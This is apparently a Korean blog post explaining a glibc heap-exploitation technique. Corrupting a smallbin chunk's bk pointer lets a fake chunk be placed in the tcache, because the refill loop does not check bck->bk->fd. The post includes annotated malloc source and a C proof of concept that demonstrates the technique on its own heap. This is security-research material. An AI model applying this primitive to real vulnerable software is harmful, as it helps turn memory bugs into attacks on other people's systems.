glibc 2.26 버전 이상부터 사용가능한 방법같다. 이미 누군가 찾았을 것 같긴 한데... 나는 모른다. 

malloc분석을 하다 발견했다.

 이 방법은 tcache가 꽉차서 smallbin을 사용하다가 tcache가 비워지는 경우, smallbin에 free된 청크가 3개 있을때(이 이상도 될듯), 중간에 있는 청크의 bk를 변조가능하면 원하는 fake chunk를 tcache에 넣을 수 있다. (단, bk를 실제 smallbin에 들어간 청크로 맞추어 주어야함)  

 

if (tcache && tc_idx < mp_.tcache_bins) 
          {
              mchunkptr tc_victim;
              while (tcache->counts[tc_idx] < mp_.tcache_count //해당 tcache에 자리에 있으면, smallbin이 빌 때까지
                  && (tc_victim = last(bin)) != bin) //tcache로 옮긴다. last(bin)=bin->bk
              {
                  if (tc_victim != 0) //bin->bk가 null인지 검사한다. 에러메세지는 없음
                  {
                      bck = tc_victim->bk; //bin->bk->bk
                      set_inuse_bit_at_offset(tc_victim, nb); //inuse bit 설정(tcache라서)
                      if (av != &main_arena)
                          set_non_main_arena(tc_victim);
                      bin->bk = bck; //연결 끊고 unlink 
                      bck->fd = bin; //bin->bk->bk->fd=bin  
                      //그런데 여기서 재밌는게 가능할 것 같다. 
                      tcache_put(tc_victim, tc_idx);
                  }
              }
          }

 취약점이 발생하는 부분은 이곳이다. 바로 smallbin에서 할당을 받은 후 tcache가 비어있으면 tcache에 옮겨주는 부분이다. 

 만약 smallbin에 들어간 chunk를 조작 가능한데, tcache가 비어있다고 가정을 해보자.

이곳에는 bck->bk->fd가 bck인지 검증하는 과정이 없기에 취약점이 발생한다. 

 

 기존 smallbin의 취약점인 house of lore의 방식을 이용해버리면 A,B,C 세개의 청크가 필요하다. 그러나 leak이 되지 않은 상황이라고 가정하면 저 while문을 영원히 빠져 나올 수 없다. (tc_victim=smallbin->bk)!= bin(smallbin) 이라는 조건이 있기 때문에 우리는 tcache를 다 채우거나, bin->bk==bin을 만족하지 않으면 오류가 나거나 while문을 빠져나올 수 없기 때문이다. 

 

house of lore의 이미지(출처 https://www.lazenca.net/display/TEC/The+House+of+Lore)

 그러니까 위 그림에서 fake chunk 2 의 bk에 smallbin 주소를 넣어주는 것이 가능해야 한다는 말이다. 

실제로 테스트를 안해봐서 검증은 못하지만, 지금 fake chunk 2 의 bk=null 이기 때문에 처음 청크를 할당받고 fake chunk 1이 tcache에 들어가고 fake chunk 2가 bin->bk에 적히게 되는데 여기서 fake chunk 2가 tcache에 들어가는 과정에서 bin->bk->bk=tc_victim->bk라는 연산때문에 세그폴트가 나버린다. (bin->bk->bk==null 이므로) 그리고 smallbin에서 할당을 받는다는 전제가 tcache가 비어있어야 하기 때문에 이 루틴을 벗어나는 것은 불가능하다. 

 

 뭐 상관없는 말이고, 내가 찾은 과정은 좀 조건을 많이 타지만 과정이 끝나도 청크가 망가지는 일은 없다. 

house of lore도 충분히 사용할 상황은 나올 것 같다. 

 

 과정이다. 

 

 1. smallbin에 같은 사이즈의 청크 3개를 넣어준다. 

 2. 그리고 fake chunk 를 작성해준다. 조건은 상관 없다. 

 3. A<->B<->C 로 연결되어있는 smallbin의 리스트에서 B->bk를 fake chunk로 변조하고, fake chunk 의 bk는 C로 만든다.  ( A<->B->Fake , Fake->C , B<-C  가 될 것이다.)

4. fake chunk의 size에 해당하는 tcache bin을 비워준다. 

5. 해당사이즈의 청크를 smallbin에서 한개 할당 받는다. A가 할당되면 Fake,B,C는

tcache bin에 들어가 있을 것이다. 

 

 

실제 테스트를 해보았다. 

#include <stdio.h>
#include <stdlib.h>
long long int*p[100];
int main()
{
	for(int i=0;i<7;i++)
		p[i]=(long long int*)malloc(0x100);
	long long int * a=(long long int*)malloc(0x100);
	malloc(0x20); //병합 방지용
	long long int * b=(long long int*)malloc(0x100);
	long long int *fake=malloc(0x20);
	long long int * c=(long long int*)malloc(0x100);
	printf("A : %p\n",a);
	printf("B : %p\n",b);
	printf("C : %p\n",c);
	printf("Fake : %p\n",fake);
	fake[1]=(long long int)c-0x10; 
	puts("fake->bk를 C로 설정했습니다.");
	for(int i=0;i<7;i++)
		free(p[i]);
	puts("Tcache의 0x110 bin이 가득 채워졌습니다");
	free(a);
	malloc(0x150);
	free(b);
	malloc(0x150);
	free(c);
	malloc(0x150);
	puts("smallbin에 A,B,C를 넣었습니다.");
	getchar();
	b[1]=(long long int)fake-0x10;
	for(int i=0;i<7;i++)
		p[i]=(long long int*)malloc(0x100);
	malloc(0x100);
	puts("이제 tcache에 fake chunk가 들어갔습니다!");
	getchar();
}

 정상적으로 tcache에 원하는 fake 청크인 0x555555756c20이 들어갔다. 그리고 smallbin도 이상이 없다. 

  

왜 이런일이 일어나는 것일까? 에 대해서 설명하면 bck->bk->fd가 bck인지 검증하는 과정이 없기때문이다. 다음은 A,B,C가 smallbin에 들어갔을 때의 상황이다. 

 

그리고 B의 bk를 fake chunk로 바꾸면 아래 사진과 같이 변한다. 

 그리고 A를 할당받으면 bin->bk=bck(B) , bck->fd=bin 으로 설정되 다음 그림과 같이 된다. 

이제 나머지를 tcache에 하나씩 넣어주기 시작한다. 이부분이 취약한 부부인데, 현재 bck는 fake 이다. 

bck->bk=C 이지만 C->fd 는 fake가 아닌 B이다. 

B가 tcache에 들어가면 청크는 이렇게 변한다. 

 마지막으로 fake가 tcache에 들어가면 Smallbin의 bk=C, bck->fd=bin 루틴에 따라 C->fd=smallbin이 되어서 

 완전무결한 상태가 된다.